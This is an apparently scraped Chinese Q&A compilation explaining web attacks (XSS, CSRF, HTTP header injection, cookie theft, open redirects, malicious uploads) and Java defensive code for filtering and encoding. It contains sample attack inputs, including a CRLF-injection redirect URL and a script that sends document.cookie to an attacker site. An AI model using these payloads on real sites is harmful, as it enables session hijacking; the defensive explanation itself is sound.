当前位置:首页 » 编程软件 » java跨站脚本

java跨站脚本

发布时间: 2022-12-08 19:10:27

‘壹’ 网站受到了XSS攻击,有什么办法

一.跨站脚本攻击(XSS)


跨站脚本攻击(XSS,Cross-site scripting)是最常见和基本的攻击WEB网站的方法。攻击者在网页上发布包含攻击性代码的数据。当浏览者看到此网页时,特定的脚本就会以浏览者用 户的身份和权限来执行。通过XSS可以比较容易地修改用户数据、窃取用户信息,以及造成其它类型的攻击,例如CSRF攻击


常见解决办法:确保输出到HTML页面的数据以HTML的方式被转义


出错的页面的漏洞也可能造成XSS攻击.比如页面/gift/giftList.htm?page=2找不到,出错页面直接把该url原样输出,如果攻击者在url后面加上攻击代码发给受害者,就有可能出现XSS攻击


二. 跨站请求伪造攻击(CSRF)



跨站请求伪造(CSRF,Cross-site request forgery)是另一种常见的攻击。攻击者通过各种方法伪造一个请求,模仿用户提交表单的行为,从而达到修改用户的数据,或者执行特定任务的目的。为了 假冒用户的身份,CSRF攻击常常和XSS攻击配合起来做,但也可以通过其它手段,例如诱使用户点击一个包含攻击的链接

解决的思路有:

1.采用POST请求,增加攻击的难度.用户点击一个链接就可以发起GET类型的请求。而POST请求相对比较难,攻击者往往需要借助javascript才能实现

2.对请求进行认证,确保该请求确实是用户本人填写表单并提交的,而不是第三者伪造的.具体可以在会话中增加token,确保看到信息和提交信息的是同一个人


三.Http Heads攻击


凡是用浏览器查看任何WEB网站,无论你的WEB网站采用何种技术和框架,都用到了HTTP协议.HTTP协议在Response header和content之间,有一个空行,即两组CRLF(0x0D 0A)字符。这个空行标志着headers的结束和content的开始。“聪明”的攻击者可以利用这一点。只要攻击者有办法将任意字符“注入”到 headers中,这种攻击就可以发生


以登陆为例:有这样一个url:


http://localhost/login?page=http%3A%2F%2Flocalhost%2Findex


当登录成功以后,需要重定向回page参数所指定的页面。下面是重定向发生时的response headers.


HTTP/1.1 302 Moved Temporarily

Date: Tue, 17 Aug 2010 20:00:29 GMT

Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635

Location: http://localhost/index


假如把URL修改一下,变成这个样子:


http://localhost/login?page=http%3A%2F%2Flocalhost%2Fcheckout%0D%0A%0D%0A%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E


那么重定向发生时的reponse会变成下面的样子:

HTTP/1.1 302 Moved Temporarily

Date: Tue, 17 Aug 2010 20:00:29 GMT

Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635

Location: http://localhost/checkout<CRLF>

<CRLF>

<script>alert('hello')</script>


这个页面可能会意外地执行隐藏在URL中的javascript。类似的情况不仅发生在重定向(Location header)上,也有可能发生在其它headers中,如Set-Cookie header。这种攻击如果成功的话,可以做很多事,例如:执行脚本、设置额外的cookie(<CRLF>Set-Cookie: evil=value)等。

避免这种攻击的方法,就是过滤所有的response headers,除去header中出现的非法字符,尤其是CRLF。


服务器一般会限制request headers的大小。例如Apache server默认限制request header为8K。如果超过8K,Aapche Server将会返回400 Bad Request响应:

对于大多数情况,8K是足够大的。假设应用程序把用户输入的某内容保存在cookie中,就有可能超过8K.攻击者把超过8k的header链接发给受害 者,就会被服务器拒绝访问.解决办法就是检查cookie的大小,限制新cookie的总大写,减少因header过大而产生的拒绝访问攻击


四.Cookie攻击


通过Java Script非常容易访问到当前网站的cookie。你可以打开任何网站,然后在浏览器地址栏中输 入:javascript:alert(doucment.cookie),立刻就可以看到当前站点的cookie(如果有的话)。攻击者可以利用这个特 性来取得你的关键信息。例如,和XSS攻击相配合,攻击者在你的浏览器上执行特定的Java Script脚本,取得你的cookie。假设这个网站仅依赖cookie来验证用户身份,那么攻击者就可以假冒你的身份来做一些事情。

现在多数浏览器都支持在cookie上打上HttpOnly的标记,凡有这个标志的cookie就无法通过Java Script来取得,如果能在关键cookie上打上这个标记,就会大大增强cookie的安全性


五.重定向攻击



一种常用的攻击手段是“钓鱼”。钓鱼攻击者,通常会发送给受害者一个合法链接,当链接被点击时,用户被导向一个似是而非的非法网站,从而达到骗取用户信 任、窃取用户资料的目的。为防止这种行为,我们必须对所有的重定向操作进行审核,以避免重定向到一个危险的地方.常见解决方案是白名单,将合法的要重定向 的url加到白名单中,非白名单上的域名重定向时拒之,第二种解决方案是重定向token,在合法的url上加上token,重定向时进行验证.


六.上传文件攻击



1.文件名攻击,上传的文件采用上传之前的文件名,可能造成:客户端和服务端字符码不兼容,导致文件名乱码问题;文件名包含脚本,从而造成攻击.


2.文件后缀攻击.上传的文件的后缀可能是exe可执行程序,js脚本等文件,这些程序可能被执行于受害者的客户端,甚至可能执行于服务器上.因此我们必须过滤文件名后缀,排除那些不被许可的文件名后缀.


3.文件内容攻击.IE6有一个很严重的问题 , 它不信任服务器所发送的content type,而是自动根据文件内容来识别文件的类型,并根据所识别的类型来显示或执行文件.如果上传一个gif文件,在文件末尾放一段js攻击脚本,就有可 能被执行.这种攻击,它的文件名和content type看起来都是合法的gif图片,然而其内容却包含脚本,这样的攻击无法用文件名过滤来排除,而是必须扫描其文件内容,才能识别。

‘贰’ 如何防止跨站点脚本攻击

防止跨站点脚本攻击的解决方法:

1.输入过滤

对每一个用户的输入或者请求首部,都要进行过滤。这需要程序员有良好的安全素养,而且需要覆盖到所有的输入源。而且还不能够阻止其他的一些问题,如错误页等。
final String filterPattern="[<>{}\\[\\];\\&]";
String inputStr = s.replaceAll(filterPattern," ");

2.输出过滤

public static String encode(String data)
{
final StringBuffer buf = new StringBuffer();
final char[] chars = data.toCharArray();
for (int i = 0; i < chars.length; i++)
{
buf.append("&#" + (int) chars[i]);
}
return buf.toString();
}
public static String decodeHex(final String data,
final String charEncoding)
{
if (data == null)
{
return null;
}
byte[] inBytes = null;
try
{
inBytes = data.getBytes(charEncoding);
}
catch (UnsupportedEncodingException e)
{
//use default charset
inBytes = data.getBytes();
}

byte[] outBytes = new byte[inBytes.length];
int b1;
int b2;
int j=0;
for (int i = 0; i < inBytes.length; i++)
{
if (inBytes[i] == '%')
{
b1 = Character.digit((char) inBytes[++i], 16);
b2 = Character.digit((char) inBytes[++i], 16);
outBytes[j++] = (byte) (((b1 & 0xf) << 4) +
(b2 & 0xf));
}
else
{
outBytes[j++] = inBytes[i];
}
}

String encodedStr = null;
try
{
encodedStr = new String(outBytes, 0, j, charEncoding);
}
catch (UnsupportedEncodingException e)
{
encodedStr = new String(outBytes, 0, j);
}
return encodedStr;
}
<!-- Maps the 404 Not Found response code
to the error page /errPage404 -->

<error-page>
<error-code>404</error-code>
<location>/errPage404</location>
</error-page>

<!-- Maps any thrown ServletExceptions
to the error page /errPageServ -->
<error-page>
<exception-type>javax.servlet.ServletException</exception-type>
<location>/errPageServ</location>
</error-page>

<!-- Maps any other thrown exceptions
to a generic error page /errPageGeneric -->
<error-page>
<exception-type>java.lang.Throwable</exception-type>
<location>/errPageGeneric</location>
</error-page>
任何的非servlet例外都被/errPageGeneric路径捕捉,这样就可以处理。
Throwable throwable = (Throwable)
request.getAttribute("javax.servlet.error.exception");
String status_code = ((Integer)
request.getAttribute("javax.servlet.error.status_code")).toString( );

3.安装三方的应用防火墙,可以拦截css攻击。

附:

跨站脚本不像其他攻击只包含两个部分:攻击者和web站点。
跨站脚本包含三个部分:攻击者,客户和web站点。
跨站脚本攻击的目的是窃取客户的cookies,或者其他可以证明用户身份的敏感信息。

攻击
一个get请求
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host:
www.vulnerable.site
会产生如下的结果
<HTML>
<Title>Welcome!</Title>
Hi Joe Hacker
<BR>
Welcome to our system
...
</HTML>
但是如果请求被篡改
GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
Host: www.vulnerable.site
就会得到如下的响应
<HTML>
<Title>Welcome!</Title>
Hi <script>alert(document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
这样在客户端会有一段非法的脚本执行,这不具有破坏作用,但是如下的脚本就很危险了。
http://www.vulnerable.site/welcome.cgi?name=<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”%2Bdocument.cookie)</script>
响应如下:
<HTML>
<Title>Welcome!</Title>
Hi
<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
浏览器回执行该脚本并将客户的cookie发到一个攻击者的网站,这样攻击者就得到了客户的cookie。

‘叁’ 什么是xss攻击

一、什么是跨站脚本攻击
跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。通常将跨站脚本攻击缩写为XSS。
跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。
二、跨站脚本攻击的种类
从攻击代码的工作方式可以分为三个类型:
1、持久型跨站:最直接的危害类型,跨站代码存储在服务器(数据库)。
2、非持久型跨站:反射型跨站脚本漏洞,最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。
3、DOM跨站(DOM XSS):DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题。
三、跨站脚本攻击的手段和目的
常用的XSS攻击手段和目的有:
1、盗用cookie,获取敏感信息。
2、利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
3、利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
4、利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
5、在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果。
四、跨站脚本攻击的防御
XSS攻击主要是由程序漏洞造成的,要完全防止XSS安全漏洞主要依靠程序员较高的编程能力和安全意识,当然安全的软件开发流程及其他一些编程安全原则也可以大大减少XSS安全漏洞的发生。这些防范XSS漏洞原则包括:
1、不信任用户提交的任何内容,对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、REFER、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。尽量采用POST而非GET提交表单;对“<”,“>”,“;”,“””等字符做过滤;任何内容输出到页面之前都必须加以en-code,避免不小心把htmltag显示出来。
2、实现Session 标记(session tokens)、CAPTCHA(验证码)系统或者HTTP引用头检查,以防功能被第三方网站所执行,对于用户提交信息的中的img等link,检查是否有重定向回本站、不是真的图片等可疑操作。
3、cookie 防盗。避免直接在cookie中泄露用户隐私,例如email、密码,等等;通过使cookie和系统IP绑定来降低cookie泄露后的危险。这样攻击者得到的cookie没有实际价值,很难拿来直接进行重放攻击。
4、确认接收的内容被妥善地规范化,仅包含最小的、安全的Tag(没有JavaScript),去掉任何对远程内容的引用(尤其是样式表和JavaScript),使用HTTPonly的cookie。

‘肆’ XSS(跨站脚本漏洞)谁帮忙修复下,我看着就头大,一窍不通啊。

对于php你可以用htmlentities()函数
例如这样:
<?php
echo htmlentities($_POST['abc']);
?>
至于asp,默认就能防xss攻击,无需任何操作

‘伍’ xss是什么意思 xss的意思介绍

跨站脚本,英文全称为Cross-Site Scripting,也被称为XSS或跨站脚本或跨站脚本攻击,是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入网页,其他用户在浏览网页时就会收到影响。恶意用户利用XSS代码攻击成功后,可能得到很高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
XSS攻击可以分为三种:反射型、存储型和DOM型。
反射型XSS:
又称非持久型XSS,这种攻击方式往往具有一次性。
攻击方式:攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。
存储型XSS:
存储型XSS又称持久型XSS,攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性。
攻击方式:这种攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器保存下来,恶意脚本也永久地被存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到执行。
DOM型XSS
DOM全称Document Object Model,使用DOM可以使程序和脚本能够动态访问和更新文档内容、结构及样式。
DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
HTML的标签都是节点,而这些节点组成了DOM的整体结构——节点树。通过HTML DOM,树中所有节点均可通过JavaScript进行访问。所有HTML(节点)均可被修改,也可以创建或删除节点。

‘陆’ XP IE6没有XSS筛选器 怎么解决"已对此页面进行了修改 以帮助阻止跨站脚本..."

internet选项-安全-自定义里,启用 JAVA小程序和活动脚本。应该就可以了

‘柒’ java中关于跨站脚本out.priint怎么及解决

攻击者先构造一个跨站页面,利用script、<IMG>、<IFRAME>等各种方式使得用户浏览这个页面 时,触发对被攻击站点的http 请求。此时,如果被攻击者如果已经在被攻击站点登录,就会持有该站点cookie。这样该站点会认为被攻击者发起了一个 http 请求。

‘捌’ java.lang.: overflow detected

出现这种情况肯能出现了跨站脚本攻击。否则,就是解析HttpRequest对象时检测到了数组下表溢出的情况。检查的话,可以看下HttpRequestParser.parser()方法的传入参数有没有问题。

‘玖’ 怎样过滤跨站恶意脚本攻击

1. 在输入流中截住form data中的恶意脚本
研究两种XSS攻击,如反射型和存储型XSS攻击,其恶意脚本都是来自用户的输入。因此,可以使用过滤用户输入的方法对恶意脚本进行过滤。对简单的HTTP请求,一般使用GET和POST方法。
2. 在输入流中检测滤掉来自其他网站的URL中的恶意脚本
当用户不小心点击了被其他黑客提供的假冒URL,则可能在该URL中注入恶意脚本。因此,也需要对这种情况进行处理。因此为确保其他在header中的恶意脚本,需要对request.getHeader进行重写。以下为例子:
public String getHeader(String name) {
String value = super.getHeader(name);
if (value == null)
return null;
return xssClean(value);
}
3. xssClean函数怎样实现才可以过滤掉恶意脚本呢?
如果是java语言,推荐使用antisamy。使用antisamy进行XSS清理非常简单,只需要简单的几个步骤即可达到目的。
1‘. 在pom.xml文件中加入antisamy的dependency,
<dependency>
<groupId>org.owasp.antisamy</groupId>
<artifactId>antisamy</artifactId>
<version>1.5.3</version>
</dependency>
2’. 加入了dependency之后,就可以在xssClean中加入antisamy对恶意脚本进行清理。其中policy.xml是白名单,policy.xml中规定了各个html元素所必须满足的条件。antisamy的精髓之处在于,使用policy文件来规定你的过滤条件,若输入字符串不满足policy文件中的条件,则会过滤掉字符中的恶意脚本,返回过滤后的结果。具体代码如下:
private String xssClean(String value) {
AntiSamy antiSamy = new AntiSamy();
try {
final CleanResults cr = antiSamy.scan(value, Policy.getInstance("policy.xml"), AntiSamy.SAX);
return cr.getCleanHTML();
} catch (ScanException e) {
e.printStackTrace();
} catch (PolicyException e) {
e.printStackTrace();
}
return value;
}
这样,我们就将client端用户输入的request,在server端进行了拦截,并且进行了过滤。

‘拾’ Struct2+Spring 架构JavaWeb项目,出现xss跨站脚本攻击漏洞解决方案

没用到富文本的话可以用spring里的HtmlUtils.htmlEscape(string str)来对parameter转码。是用filter还是其他方式都可以

热点内容
安卓为什么跳水 发布:2025-07-05 09:55:08 浏览:87
达内学校php 发布:2025-07-05 09:52:05 浏览:398
获取数据库所有表 发布:2025-07-05 09:39:12 浏览:654
wcfphp 发布:2025-07-05 09:39:07 浏览:178
解压密码对 发布:2025-07-05 09:33:00 浏览:586
广东金税盘的服务器地址是什么 发布:2025-07-05 09:10:29 浏览:704
挂式手机卡的服务密码是多少 发布:2025-07-05 08:57:40 浏览:944
电信卡密码八位数是多少 发布:2025-07-05 08:49:37 浏览:441
配置高用的久选什么电脑 发布:2025-07-05 08:22:40 浏览:741
迷你世界如何卡进设密码的房间 发布:2025-07-05 08:15:16 浏览:882